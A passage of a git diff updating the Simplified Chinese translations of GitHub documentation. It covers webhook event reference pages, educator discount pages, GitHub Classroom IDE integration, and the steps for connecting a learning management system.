-You can only create a sponsorship webhook on {% data variables.product.prodname_dotcom %}. For more information, see "[Configuring webhooks for events in your sponsored account](/sponsors/integrating-with-github-sponsors/configuring-webhooks-for-events-in-your-sponsored-account)".
+您只能在 {% data variables.product.prodname_dotcom %} 上创建赞助 web 挂钩。 更多信息请参阅“[为赞助帐户中的事件配置 web 挂钩](/sponsors/integrating-with-github-sponsors/configuring-webhooks-for-events-in-your-sponsored-account)”。
 
-### Availability
+### 可用性
 
-- Sponsored accounts
+- 赞助帐户
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
 {% data reusables.webhooks.sponsorship_webhook_properties %}
 {% data reusables.webhooks.sponsorship_properties %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example when someone creates a sponsorship
+### 有人创建赞助时的 web 挂钩示例
 
 {{ webhookPayloadsForCurrentVersion.sponsorship.created }}
 
-### Webhook payload example when someone downgrades a sponsorship
+### 有人降级赞助时的 web 挂钩示例
 
 {{ webhookPayloadsForCurrentVersion.sponsorship.downgraded }}
 
 {% endif %}
 
-## star
+## 星标
 
 {% data reusables.webhooks.star_short_desc %}
 
-### Availability
+### 可用性
 
-- Repository webhooks
-- Organization webhooks
+- 仓库 web 挂钩
+- 组织 web 挂钩
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
 {% data reusables.webhooks.star_properties %}
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.star.created }}
 
-## status
+## 状态
 
 {% data reusables.webhooks.status_short_desc %}
 
-### Availability
+### 可用性
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `statuses` permission
+- 仓库 web 挂钩
+- 组织 web 挂钩
+- 具有 `statuses` 权限的 {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
-Key | Type | Description
-----|------|-------------
-`id` | `integer` | The unique identifier of the status.
-`sha`|`string` | The Commit SHA.
-`state`|`string` | The new state. Can be `pending`, `success`, `failure`, or `error`.
-`description`|`string` | The optional human-readable description added to the status.
-`target_url`|`string` | The optional link added to the status.
-`branches`|`array` | An array of branch objects containing the status' SHA. Each branch contains the given SHA, but the SHA may or may not be the head of the branch. The array includes a maximum of 10 branches.
+| 键            | 类型    | 描述                                                                  |
+| ------------ | ----- | ------------------------------------------------------------------- |
+| `id`         | `整数`  | 状态的唯一标识符。                                                           |
+| `sha`        | `字符串` | 提交 SHA。                                                             |
+| `state`      | `字符串` | 新状态。 可以是 `pending`、`success`、`failure` 或 `error`。                   |
+| `说明`         | `字符串` | 添加到状态的可选人类可读说明。                                                     |
+| `target_url` | `字符串` | 添加到状态的可选链接。                                                         |
+| `分支`         | `数组`  | 包含状态的 SHA 的分支对象数组。 每个分支都包含给定的 SHA，但 SHA 不一定是该分支的头部。 该数组最多包含 10 个分支。 |
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.status }}
 
-## team
+## 团队
 
 {% data reusables.webhooks.team_short_desc %}
 
-### Availability
+### 可用性
 
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `members` permission
+- 组织 web 挂钩
+- 具有 `members` 权限的 {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
-Key | Type | Description
-----|------|-------------
-`action` |`string` | The action that was performed. Can be one of `created`, `deleted`, `edited`, `added_to_repository`, or `removed_from_repository`.
-`team`  |`object` | The team itself.
-`changes`|`object` | The changes to the team if the action was `edited`.
-`changes[description][from]` |`string` | The previous version of the description if the action was `edited`.
-`changes[name][from]` |`string` | The previous version of the name if the action was `edited`.
-`changes[privacy][from]` |`string` | The previous version of the team's privacy if the action was `edited`.
-`changes[repository][permissions][from][admin]` | `boolean` | The previous version of the team member's `admin` permission on a repository, if the action was `edited`.
-`changes[repository][permissions][from][pull]` | `boolean` | The previous version of the team member's `pull` permission on a repository, if the action was `edited`.
-`changes[repository][permissions][from][push]` | `boolean` | The previous version of the team member's `push` permission on a repository, if the action was `edited`.
-`repository`|`object` | The repository that was added or removed from to the team's purview if the action was `added_to_repository`, `removed_from_repository`, or `edited`. For `edited` actions, `repository` also contains the team's new permission levels for the repository.
+| 键                                               | 类型    | 描述                                                                                                                              |
+| ----------------------------------------------- | ----- | ------------------------------------------------------------------------------------------------------------------------------- |
+| `action`                                        | `字符串` | 执行的操作内容. 可以是 `created`、`deleted`、`edited`、`added_to_repository` 或 `removed_from_repository` 之一。                                 |
+| `团队`                                            | `对象`  | 团队本身。                                                                                                                           |
+| `changes`                                       | `对象`  | 对团队的更改（如果操作为 `edited`）。                                                                                                         |
+| `changes[description][from]`                    | `字符串` | 说明的先前版本（如果操作为 `edited`）。                                                                                                        |
+| `changes[name][from]`                           | `字符串` | 名称的先前版本（如果操作为 `edited`）。                                                                                                        |
+| `changes[privacy][from]`                        | `字符串` | 团队隐私的先前版本（如果操作为 `edited`）。                                                                                                      |
+| `changes[repository][permissions][from][admin]` | `布尔值` | 团队成员对仓库 `admin` 权限的先前版本（如果操作为 `edited`）。                                                                                        |
+| `changes[repository][permissions][from][pull]`  | `布尔值` | 团队成员对仓库 `pull` 权限的先前版本（如果操作为 `edited`）。                                                                                         |
+| `changes[repository][permissions][from][push]`  | `布尔值` | 团队成员对仓库 `push` 权限的先前版本（如果操作为 `edited`）。                                                                                         |
+| `仓库`                                            | `对象`  | 在团队权限范围中添加或删除的仓库（如果操作为 `added_to_repository`、`removed_from_repository` 或 `edited`）。 对于 `edited` 操作，`repository` 还包含团队对仓库的新权限级别。 |
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.team.added_to_repository }}
 
@@ -1328,54 +1330,54 @@ Key | Type | Description
 
 {% data reusables.webhooks.team_add_short_desc %}
 
-### Availability
+### 可用性
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `members` permission
+- 仓库 web 挂钩
+- 组织 web 挂钩
+- 具有 `members` 权限的 {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
-Key | Type | Description
-----|------|-------------
-`team`|`object` | The [team](/rest/reference/teams) that was modified.  **Note:** Older events may not include this in the payload.
+| 键    | 类型   | 描述                                                           |
+| ---- | ---- | ------------------------------------------------------------ |
+| `团队` | `对象` | 被修改的[团队](/rest/reference/teams)。  **注：**较旧的事件可能不会在有效负载中包括此值。 |
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.team_add }}
 
 {% ifversion ghes or ghae %}
 
-## user
+## 用户
 
-When a user is `created` or `deleted`.
+当用户被 `created` 或 `deleted` 时。
 
-### Availability
-- GitHub Enterprise webhooks. For more information, "[Global webhooks](/rest/reference/enterprise-admin#global-webhooks/)."
+### 可用性
+- GitHub Enterprise web 挂钩。 更多信息请参阅“[全局 web 挂钩](/rest/reference/enterprise-admin#global-webhooks/)”。
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.user.created }}
 
 {% endif %}
 
-## watch
+## 查看
 
 {% data reusables.webhooks.watch_short_desc %}
 
-The event’s actor is the [user](/rest/reference/users) who starred a repository, and the event’s repository is the [repository](/rest/reference/repos) that was starred.
+事件的执行者是标星仓库的[用户](/rest/reference/users)，并且事件的仓库是被标星的[仓库](/rest/reference/repos)。
 
-### Availability
+### 可用性
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `metadata` permission
+- 仓库 web 挂钩
+- 组织 web 挂钩
+- 具有 `metadata` 权限的 {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
 {% data reusables.webhooks.watch_properties %}
 {% data reusables.webhooks.repo_desc %}
@@ -1383,20 +1385,20 @@ The event’s actor is the [user](/rest/reference/users) who starred a repositor
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.watch.started }}
 
 {% ifversion fpt or ghes or ghec %}
 ## workflow_dispatch
 
-This event occurs when someone triggers a workflow run on GitHub or sends a `POST` request to the "[Create a workflow dispatch event](/rest/reference/actions/#create-a-workflow-dispatch-event)" endpoint. For more information, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows#workflow_dispatch)."
+当有人触发 GitHub 上的工作流程运行或将 `POST` 请求发送到“[创建工作流程分发事件](/rest/reference/actions/#create-a-workflow-dispatch-event)”端点时，此事件发生。 更多信息请参阅“[触发工作流程的事件](/actions/reference/events-that-trigger-workflows#workflow_dispatch)”。
 
-### Availability
+### 可用性
 
-- {% data variables.product.prodname_github_apps %} must have the `contents` permission to receive this webhook.
+- {% data variables.product.prodname_github_apps %} 必须具有 `contents` 权限才能接收此 web 挂钩。
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.workflow_dispatch }}
 {% endif %}
@@ -1407,20 +1409,20 @@ This event occurs when someone triggers a workflow run on GitHub or sends a `POS
 
 {% data reusables.webhooks.workflow_job_short_desc %}
 
-### Availability
+### 可用性
 
-- Repository webhooks
-- Organization webhooks
-- Enterprise webhooks
+- 仓库 web 挂钩
+- 组织 web 挂钩
+- 企业 web 挂钩
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
 {% data reusables.webhooks.workflow_job_properties %}
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.workflow_job }}
 
@@ -1428,13 +1430,13 @@ This event occurs when someone triggers a workflow run on GitHub or sends a `POS
 {% ifversion fpt or ghes or ghec %}
 ## workflow_run
 
-When a {% data variables.product.prodname_actions %} workflow run is requested or completed. For more information, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows#workflow_run)."
+当 {% data variables.product.prodname_actions %} 工作流程运行被请求或完成时。 更多信息请参阅“[触发工作流程的事件](/actions/reference/events-that-trigger-workflows#workflow_run)”。
 
-### Availability
+### 可用性
 
-- {% data variables.product.prodname_github_apps %} with the `actions` or `contents` permissions.
+- 具有 `actions` 或 `contents` 权限的 {% data variables.product.prodname_github_apps %}。
 
-### Webhook payload object
+### Web 挂钩有效负载对象
 
 {% data reusables.webhooks.workflow_run_properties %}
 {% data reusables.webhooks.workflow_desc %}
@@ -1442,7 +1444,7 @@ When a {% data variables.product.prodname_actions %} workflow run is requested o
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### Web 挂钩有效负载示例
 
 {{ webhookPayloadsForCurrentVersion.workflow_run }}
 {% endif %}
diff --git a/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/apply-for-an-educator-or-researcher-discount.md b/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/apply-for-an-educator-or-researcher-discount.md
index e1e2026fb4..3dddd6445e 100644
--- a/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/apply-for-an-educator-or-researcher-discount.md
+++ b/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/apply-for-an-educator-or-researcher-discount.md
@@ -1,6 +1,6 @@
 ---
-title: Apply for an educator or researcher discount
-intro: 'If you''re an educator or a researcher, you can apply to receive {% data variables.product.prodname_team %} for your organization account for free.'
+title: 申请教育者或研究人员折扣
+intro: '如果您是教育者或研究人员，可以为组织申请免费获取 {% data variables.product.prodname_team %}。'
 redirect_from:
   - /education/teach-and-learn-with-github-education/apply-for-an-educator-or-researcher-discount
   - /github/teaching-and-learning-with-github-education/applying-for-an-educator-or-researcher-discount
@@ -12,17 +12,18 @@ redirect_from:
   - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/apply-for-an-educator-or-researcher-discount
 versions:
   fpt: '*'
-shortTitle: Apply for a discount
+shortTitle: 申请折扣
 ---
-## About educator and researcher discounts
+
+## 关于教育者和研究人员折扣
 
 {% data reusables.education.about-github-education-link %}
 
 {% data reusables.education.educator-requirements %}
 
-For more information about user accounts on {% data variables.product.product_name %}, see "[Signing up for a new {% data variables.product.prodname_dotcom %} account](/github/getting-started-with-github/signing-up-for-a-new-github-account)."
+有关在 {% data variables.product.product_name %} 上创建用户帐户的更多信息，请参阅“[注册新 {% data variables.product.prodname_dotcom %} 帐户](/github/getting-started-with-github/signing-up-for-a-new-github-account)”。
 
-## Applying for an educator or researcher discount
+## 申请教育者或研究人员折扣
 
 {% data reusables.education.benefits-page %}
 {% data reusables.education.click-get-teacher-benefits %}
@@ -32,30 +33,28 @@ For more information about user accounts on {% data variables.product.product_na
 {% data reusables.education.plan-to-use-github %}
 {% data reusables.education.submit-application %}
 
-## Upgrading your organization
+## 升级组织
 
-After your request for an educator or researcher discount has been approved, you can upgrade the organizations you use with your learning community to {% data variables.product.prodname_team %}, which allows unlimited users and private repositories with full features, for free. You can upgrade an existing organization or create a new organization to upgrade.
+在教育者或研究人员折扣申请获得批准后，您可以将用于学习社区的组织升级到 {% data variables.product.prodname_team %}，以便免费访问无限的用户和具有完全功能的私有仓库。 您可以升级现有组织或创建新组织进行升级。
 
-### Upgrading an existing organization
+### 升级现有组织
 
 {% data reusables.education.upgrade-page %}
 {% data reusables.education.upgrade-organization %}
 
-### Upgrading a new organization
+### 升级新组织
 
 {% data reusables.education.upgrade-page %}
-1. Click {% octicon "plus" aria-label="The plus symbol" %} **Create an organization**.
-  ![Create an organization button](/assets/images/help/education/create-org-button.png)
-3. Read the information, then click **Create organization**.
-  ![Create organization button](/assets/images/help/education/create-organization-button.png)
-4. Under "Choose your plan", click **Choose {% data variables.product.prodname_free_team %}**.
-5. Follow the prompts to create your organization.
+1. 单击 {% octicon "plus" aria-label="The plus symbol" %} **Create an organization（创建组织）**。 ![创建组织按钮](/assets/images/help/education/create-org-button.png)
+3. 阅读信息，然后单击 **Create organization（创建组织）**。 ![创建组织按钮](/assets/images/help/education/create-organization-button.png)
+4. 在“Choose a plan（选择计划）”下，单击 **选择 {% data variables.product.prodname_free_team %}**。
+5. 按照提示创建组织。
 {% data reusables.education.upgrade-page %}
 {% data reusables.education.upgrade-organization %}
 
-## Further reading
+## 延伸阅读
 
-- "[Why wasn't my application for an educator or researcher discount approved?](/articles/why-wasn-t-my-application-for-an-educator-or-researcher-discount-approved)"
+- "[为什么我的教育者或研究人员折扣申请未获得批准？](/articles/why-wasn-t-my-application-for-an-educator-or-researcher-discount-approved)"
 - [{% data variables.product.prodname_education %}](https://education.github.com)
-- [{% data variables.product.prodname_classroom %} Videos](https://classroom.github.com/videos)
+- [{% data variables.product.prodname_classroom %} 视频](https://classroom.github.com/videos)
 - [{% data variables.product.prodname_education_community %}](https://education.github.community/)
diff --git a/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved.md b/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved.md
index 82cc504911..b6813bc64b 100644
--- a/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved.md
+++ b/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved.md
@@ -1,6 +1,6 @@
 ---
-title: Why wasn't my application for an educator or researcher discount approved?
-intro: Review common reasons that applications for an educator or researcher discount are not approved and learn tips for reapplying successfully.
+title: 为什么我的教育工作者或研究人员折扣申请未获得批准？
+intro: 查看申请教育工作者或研究人员折扣未获批准的常见原因，并了解成功重新申请的窍门。
 redirect_from:
   - /education/teach-and-learn-with-github-education/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved
   - /github/teaching-and-learning-with-github-education/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved
@@ -10,38 +10,39 @@ redirect_from:
   - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved
 versions:
   fpt: '*'
-shortTitle: Application not approved
+shortTitle: 申请未被批准
 ---
+
 {% tip %}
 
-**Tip:** {% data reusables.education.about-github-education-link %}
+**提示：** {% data reusables.education.about-github-education-link %}
 
 {% endtip %}
 
-## Unclear proof of affiliation documents
+## 关联文档证明不明确
 
-If the image you uploaded doesn't clearly identify your current employment with a school or university, you must reapply and upload another image of your faculty ID or employment verification letter with clear information.
+如果您上传的图像无法明确地确定您目前在学校或大学工作，则必须重新申请并上传您的教职员 ID 或雇主证明信的其他图像，其中须含有明确信息。
 
 {% data reusables.education.pdf-support %}
 
-## Using an academic email with an unverified domain
+## 使用具有未经验证域的学术电子邮件
 
-If your academic email address has an unverified domain, we may require further proof of your academic status. {% data reusables.education.upload-different-image %}
+如果您的学术电子邮件地址有未经验证的域，则我们可能需要您的学术地位的进一步证明。 {% data reusables.education.upload-different-image %}
 
 {% data reusables.education.pdf-support %}
 
-## Using an academic email from a school with lax email policies
+## 使用来自电子邮件政策宽松的学校的学术电子邮件
 
-If alumni and retired faculty of your school have lifetime access to school-issued email addresses, we may require further proof of your academic status. {% data reusables.education.upload-different-image %}
+如果您学校的校友和退休教师终身可以访问学校发出的电子邮件地址，则我们可能需要您的学术地位的进一步证明。 {% data reusables.education.upload-different-image %}
 
 {% data reusables.education.pdf-support %}
 
-If you have other questions or concerns about the school domain, please ask your school IT staff to contact us.
+如果您有关于学校域的其他疑问或问题，请让学校的 IT 人员联系我们。
 
-## Non-student applying for Student Developer Pack
+## 非学生申请学生开发包
 
-Educators and researchers are not eligible for the partner offers that come with the [{% data variables.product.prodname_student_pack %}](https://education.github.com/pack). When you reapply, make sure that you choose **Faculty** to describe your academic status.
+教育工作者或研究人员没有资格获得 [{% data variables.product.prodname_student_pack %}](https://education.github.com/pack)随附的合作伙伴优惠。 当您重新申请时，确保选择 **Faculty（教职工）**来描述您的学术地位。
 
-## Further reading
+## 延伸阅读
 
-- "[Apply for an educator or researcher discount](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/apply-for-an-educator-or-researcher-discount)"
+- “[申请教育工作者或研究人员折扣](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/apply-for-an-educator-or-researcher-discount)”
diff --git a/translations/zh-CN/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide.md b/translations/zh-CN/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide.md
index 3d9668f167..a5dea6de99 100644
--- a/translations/zh-CN/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide.md
+++ b/translations/zh-CN/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide.md
@@ -1,31 +1,32 @@
 ---
-title: Integrate GitHub Classroom with an IDE
-shortTitle: Integrate with an IDE
+title: 集成 GitHub Classroom 与 IDE
+shortTitle: 与 IDE 集成
 intro: 'You can preconfigure a supported integrated development environment (IDE) for assignments you create in {% data variables.product.prodname_classroom %}.'
 versions:
   fpt: '*'
-permissions: Organization owners who are admins for a classroom can integrate {% data variables.product.prodname_classroom %} with an IDE. {% data reusables.classroom.classroom-admins-link %}
+permissions: 'Organization owners who are admins for a classroom can integrate {% data variables.product.prodname_classroom %} with an IDE. {% data reusables.classroom.classroom-admins-link %}'
 redirect_from:
   - /education/manage-coursework-with-github-classroom/online-ide-integrations
   - /education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-online-ide
   - /education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-online-ide
 ---
+
 ## About integration with an IDE
 
-{% data reusables.classroom.about-online-ides %} 
+{% data reusables.classroom.about-online-ides %}
 
-After a student accepts an assignment with an IDE, the README file in the student's assignment repository will contain a button to open the assignment in the IDE. The student can begin working immediately, and no additional configuration is necessary.
+After a student accepts an assignment with an IDE, the README file in the student's assignment repository will contain a button to open the assignment in the IDE. 学生可以立即开始工作，无需进行其他配置。
 
 ## Supported IDEs
 
-{% data variables.product.prodname_classroom %} supports the following IDEs. You can learn more about the student experience for each IDE.
+{% data variables.product.prodname_classroom %} supports the following IDEs. 您可以详细了解每个 IDE 的学生体验。
 
-| IDE | More information |
-| :- | :- |
-| Microsoft MakeCode Arcade | "[About using MakeCode Arcade with {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/about-using-makecode-arcade-with-github-classroom)" |
-| Visual Studio Code | [{% data variables.product.prodname_classroom %} extension](http://aka.ms/classroom-vscode-ext) in the Visual Studio Marketplace |
+| IDE                       | 更多信息                                                                                                                                                                               |
+|:------------------------- |:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| Microsoft MakeCode Arcade | "[关于结合使用 MakeCode Arcade 与 {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/about-using-makecode-arcade-with-github-classroom)" |
+| Visual Studio Code        | [{% data variables.product.prodname_classroom %} extension](http://aka.ms/classroom-vscode-ext) in the Visual Studio Marketplace                                                   |
 
-We know cloud IDE integrations are important to your classroom and are working to bring more options. 
+We know cloud IDE integrations are important to your classroom and are working to bring more options.
 
 ## Configuring an IDE for an assignment
 
@@ -35,8 +36,8 @@ You can choose the IDE you'd like to use for an assignment when you create an as
 
 The first time you configure an assignment with an IDE, you must authorize the OAuth app for the IDE for your organization.
 
-For all repositories, grant the app **read** access to metadata, administration, and code, and **write** access to administration and code. For more information, see "[Authorizing OAuth Apps](/github/authenticating-to-github/authorizing-oauth-apps)."
+对于所有仓库，授予应用程序**读取**元数据、管理和代码的权限，以及**写入**问管理和代码的权限。 更多信息请参阅“[授权 OAuth 应用程序](/github/authenticating-to-github/authorizing-oauth-apps)”。
 
-## Further reading
+## 延伸阅读
 
-- "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)"
+- "[关于 README](/github/creating-cloning-and-archiving-repositories/about-readmes)"
diff --git a/translations/zh-CN/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-to-github-classroom.md b/translations/zh-CN/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-to-github-classroom.md
index 472a3fbbda..5d789c03d4 100644
--- a/translations/zh-CN/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-to-github-classroom.md
+++ b/translations/zh-CN/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-to-github-classroom.md
@@ -1,9 +1,9 @@
 ---
-title: Connect a learning management system to GitHub Classroom
-intro: 'You can configure an LTI-compliant learning management system (LMS) to connect to {% data variables.product.prodname_classroom %} so that you can import a roster for your classroom.'
+title: 将学习管理系统连接到 GitHub Classroom
+intro: '您可以配置 LTI 兼容的学习管理系统 (LMS) 连接到 {% data variables.product.prodname_classroom %}，以便导入用于课堂的名册。'
 versions:
   fpt: '*'
-permissions: Organization owners who are admins for a classroom can connect learning management systems to {% data variables.product.prodname_classroom %}. {% data reusables.classroom.classroom-admins-link %}
+permissions: 'Organization owners who are admins for a classroom can connect learning management systems to {% data variables.product.prodname_classroom %}. {% data reusables.classroom.classroom-admins-link %}'
 redirect_from:
   - /education/manage-coursework-with-github-classroom/configuring-a-learning-management-system-for-github-classroom
   - /education/manage-coursework-with-github-classroom/connect-to-lms
@@ -12,133 +12,130 @@ redirect_from:
   - /education/manage-coursework-with-github-classroom/setup-generic-lms
   - /education/manage-coursework-with-github-classroom/setup-moodle
   - /education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom
-shortTitle: Connect an LMS
+shortTitle: 连接 LMS
 ---
-## About configuration of your LMS
 
-You can connect a learning management system (LMS) to {% data variables.product.prodname_classroom %}, and {% data variables.product.prodname_classroom %} can import a roster of student identifiers from the LMS. To connect your LMS to {% data variables.product.prodname_classroom %}, you must enter configuration credentials for {% data variables.product.prodname_classroom %} in your LMS.
+## 关于 LMS 的配置
 
-## Prerequisites
+您可以将学习管理系统 (LMS) 连接到 {% data variables.product.prodname_classroom %}，然后 {% data variables.product.prodname_classroom %} 可以从 LMS 导入学生标识符名册。 若要将 LMS 连接到 {% data variables.product.prodname_classroom %}，必须在 LMS 中输入 {% data variables.product.prodname_classroom %} 的配置凭据。
 
-To configure an LMS to connect to {% data variables.product.prodname_classroom %}, you must first create a classroom. For more information, see "[Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-classroom)."
+## 基本要求
 
-## Supported LMSes
+要配置 LMS 连接到 {% data variables.product.prodname_classroom %}，您必须先创建一个教室。 更多信息请参阅“[管理教室](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-classroom)”。
 
-{% data variables.product.prodname_classroom %} supports import of roster data from LMSes that implement Learning Tools Interoperability (LTI) standards.
+## 支持的 LMSes
 
-- LTI version 1.0 and/or 1.1
-- LTI Names and Roles Provisioning 1.X
+{% data variables.product.prodname_classroom %} 支持从实施学习工具互操作性 (LTI) 标准的 LMS 导入名册数据。
 
-Using LTI helps keep your information safe and secure. LTI is an industry-standard protocol and GitHub Classroom's use of LTI is certified by the Instructional Management System (IMS) Global Learning Consortium. For more information, see [Learning Tools Interoperability](https://www.imsglobal.org/activity/learning-tools-interoperability) and [About IMS Global Learning Consortium](http://www.imsglobal.org/aboutims.html) on the IMS Global Learning Consortium website.
+- LTI 版本 1.0 和/或 1.1
+- 配置 1.X 的 LTI 名称和角色
 
-{% data variables.product.company_short %} has tested import of roster data from the following LMSes into {% data variables.product.prodname_classroom %}.
+使用 LTI 有助于确保您的信息安全。 LTI 是一个行业标准协议，GitHub Classroom 对 LTI 的使用得到了教学管理系统 (IMS) 全球学习联盟的认证。 更多信息请参阅[学习工具互操作性](https://www.imsglobal.org/activity/learning-tools-interoperability)和 IMS 全球学习联盟网站上的[关于 IMS 全球学习联盟](http://www.imsglobal.org/aboutims.html)。
+
+{% data variables.product.company_short %} 测试了名册数据从以下 LMS 到 {% data variables.product.prodname_classroom %} 的导入。
 
 - Canvas
 - Google Classroom
 - Moodle
 - Sakai
 
-Currently, {% data variables.product.prodname_classroom %} doesn't support import of roster data from Blackboard or Brightspace.
+目前， {% data variables.product.prodname_classroom %} 不支持从 Blackboard 或 Brightspace 导入名册数据.
 
-## Generating configuration credentials for your classroom
+## 为教室生成配置凭据
 
 {% data reusables.classroom.sign-into-github-classroom %}
 {% data reusables.classroom.click-classroom-in-list %}
 {% data reusables.classroom.click-students %}
-1. If your classroom already has a roster, you can either update the roster or delete the roster and create a new roster.
-    - For more information about deleting and creating a roster, see "[Deleting a roster for a classroom](/education/manage-coursework-with-github-classroom/manage-classrooms#deleting-a-roster-for-a-classroom)" and "[Creating a roster for your classroom](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-roster-for-your-classroom)."
-    - For more information about updating a roster, see "[Adding students to the roster for your classroom](/education/manage-coursework-with-github-classroom/manage-classrooms#adding-students-to-the-roster-for-your-classroom)."
-1. In the list of LMSes, click your LMS. If your LMS is not supported, click **Other LMS**.
-  ![List of LMSes](/assets/images/help/classroom/classroom-settings-click-lms.png)
-1. Read about connecting your LMS, then click **Connect to _LMS_**.
-1. Copy the "Consumer Key", "Shared Secret", and "Launch URL" for the connection to the classroom.
-  ![Copy credentials](/assets/images/help/classroom/classroom-copy-credentials.png)
+1. 如果您的教室已有名册，您可以更新名册或删除名册并创建新的名册。
+    - 有关删除和创建名册的更多信息，请参阅“[删除教室名册](/education/manage-coursework-with-github-classroom/manage-classrooms#deleting-a-roster-for-a-classroom)”和“[创建教室名册](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-roster-for-your-classroom)”。
+    - 有关更新名册的更多信息，请参阅“[将学生添加到教室的名册](/education/manage-coursework-with-github-classroom/manage-classrooms#adding-students-to-the-roster-for-your-classroom)”。
+1. 在 LMS 列表中，单击您的 LMS。 如果您的 LMS 不受支持，请单击**其他 LMS**。 ![LMS 列表](/assets/images/help/classroom/classroom-settings-click-lms.png)
+1. 阅读有关连接 LMS 的操作，然后单击 **连接到 _LMS_**。
+1. 复制用于连接到教室的“消费者密钥”、“共享密钥”和“启动 URL”。 ![复制凭据](/assets/images/help/classroom/classroom-copy-credentials.png)
 
-## Configuring a generic LMS
+## 配置通用 LMS
 
-You must configure the privacy settings for your LMS to allow external tools to receive roster information.
+您必须为 LMS 配置隐私设置，以允许外部工具接收名册信息。
 
-1. Navigate to your LMS.
-1. Configure an external tool.
-1. Provide the configuration credentials you generated in {% data variables.product.prodname_classroom %}.
-    - Consumer key
-    - Shared secret
-    - Launch URL (sometimes called "tool URL" or similar)
+1. 导航到 LMS。
